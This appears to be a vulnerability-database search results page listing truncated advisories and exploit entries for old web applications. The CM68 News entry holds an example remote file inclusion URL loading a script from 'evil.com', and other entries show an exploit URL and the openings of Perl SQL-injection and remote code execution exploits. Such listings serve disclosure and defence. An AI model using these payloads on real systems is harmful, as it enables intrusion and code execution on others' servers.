3196 matches found
CM68 News <= 12.02.06 (addpth) Remote File Inclusion Vulnerability
Exploit for unknown platform in category web applications ================================================================== CM68 News = 12.02.06 addpth Remote File Inclusion Vulnerability ================================================================== Vulnerable Software:cm68news Vulnerable...
CM68 News 12.02.06 - 'addpth' Remote File Inclusion
Vulnerable Software:cm68news Vulnerable file: /engine/oldnews.inc.php Credits: Paul Bakoyiannis Vulnerable Variable: addpath Example Exploit: http://site.com/cm68news/engine/oldnews.inc.php?addpath=http://evil.com/script.txt?& milw0rm.com 2006-12-08...
CVE-2006-6373
PhpMyAdmin 2.7.0-pl2 allows remote attackers to obtain sensitive information via a direct request for libraries/common.lib.php, which reveals the path in an error message...
PHP-Nuke NukeAI Module 3b (util.php) Remote File Include Exploit
No description provided by source. !/usr/bin/perl +------------------------------------------------------------------------------------------- + nukeai beta3 util.php Remote Code Execution Vulnerability +------------------------------------------------------------------------------------------- +...
JVN#34522909 Kahua vulnerable in allowing to share login sessions
Impact A remote attacker could possibly take over the user privileges and manipulate applications when several user databases are in use. If a multiple applications of Kahua refer to different user database, a user could log into multiple applications which results in a login session to be shared...
Full Path Disclosure in PHP-Wyana (2)
Hello Vulnerable: PHP-Wyana http://www.wyana.com Exploit : http://www.example.com/site/tools/send.php?w=article&id=1©='anythin g' Discovery by LinuxDrox Special Gr8 To : S-H-T LeZr.Com Best Regards ,,...
PHP Event Calendar Multiple Parameter Cross Site Scripting Vulnerability
PHP Event Calendar Multiple Parameter Cross Site Scripting Vulnerability OS2A ID: OS2A1007 Status: 08/20/2006 Issue Discovered 09/06/2006 Reported to the Vendor 09/09/2006 Fixed by Vendor 09/13/2006 Advisory Released Class: Cross Site Scripting Severity: Low Overview: --------- PHP Event Calendar...
Eskolar CMS 0.9.0.0 - Blind SQL Injection
================================================================================================== !/usr/bin/perl use IO::Socket; ==================================================================================================...
iTunes < 6.0.5 AAC File Integer Overflow (Mac OS X)
The remote host is running iTunes, a popular jukebox program. The remote version of this software is vulnerable to an integer overflow when it parses specially crafted AAC files which may lead to the execution of arbitrary code. An attacker may exploit this flaw by sending a malformed AAC file to...
PT-2006-1056 · Kde · Arts
Name of the Vulnerable Software and Affected Versions: aRts versions prior to 3.5.2-r1 Description: The issue allows local users to gain root privileges by causing the setuid function to fail, preventing artsd from dropping privileges. This can be exploited by authenticated local users, potential...
CVE-2006-1718
CVE-2006-1718 affects Magus Perde Clever Copy 3.0 and earlier. The application stores database credentials under the web root and does not enforce access control for connect.inc, allowing an unauthenticated remote attacker to view the file contents via a direct HTTP request. This information disc...
FleXiBle Development Script Remote Command Exucetion And XSS Attacking
Description : / ================================================= File created by Andries Bruinsma c FleXiBle Development FXB Web: http://www.ahbruinsma.nl Email: [email protected] =================================================== File: main.php Version: 3.0 Date started: 10th May, 2004 Las...
vuBB <= 0.2 (Cookie) Final Remote SQL Injection Exploit (mq=off)
No description provided by source. !/usr/bin/perl print q ---------------------------------------------------------------------- vuBB =0.2 Final Remote SQL Injection cookies Exploit exploit discovered and coded by KingOfSKa https://contropotere.netsons.org...
MarmaraWeb E-commerce Script Cross Site Scripting
MarmaraWeb E-commerce Script Cross Site Scripting Hi all B3g0kathackermail.com Kurdish Hacker Special Thanx All Kurdish Hackers Freedom For Ocalan!!! ----------------------------------- MarmaraWeb E-commerce Script Cross Site Scripting ----------------------------------- Site:...
Multiple Vendor BIOS - Keyboard Buffer Password Persistence (1)
source: https://www.securityfocus.com/bid/15751/info Multiple vendors fail to clear the BIOS Basic Input-Output System keyboard buffer after reading the preboot authentication password during the system startup process. Depending on the operating system running on affected computers, the memory...
PT-2005-4658 · Ovbb · Ovbb
Name of the Vulnerable Software and Affected Versions: OvBB version 0.08a Description: The issue allows remote attackers to execute arbitrary SQL commands. This can be achieved via the threadid parameter to "thread.php" and the userid parameter to "profile.php". The vendor has disputed these...
Boozt index.cgi overflow
It seems that index.cgi from Boozt AdBanner is installed and is vulnerable to a buffer overflow: it doesn't check the length of user supplied variables before copying them to internal arrays. A cracker may exploit this vulnerability to make your web server crash continually or even execute...
BlackBoard Internet Newsboard System remote file include flaw
The remote version of BlackBoard Internet Newsboard System is vulnerable to a remote file include flaw due to a lack of sanitization of user-supplied data. SPDX-FileCopyrightText: 2004 David Maciejak Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the...
Pages Pro CD directory traversal
A security vulnerability in the SPDX-FileCopyrightText: 2002 Michel Arboi Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-only Reference...
SQL IN FORUM.PHP
Class: Input Validation Error CVE: CVE-MAP-NOMATCH Remote: Yes Discovered BY ABDUCTER & Expliot BY DEVIL-00 [email protected] OR [email protected] Vulnerable:powered by oaboard 1.0 ////////////////////////////////// info:- FOR INFORMATION VISIT http://oaboard.myserver.at/oaboard/forum.ph...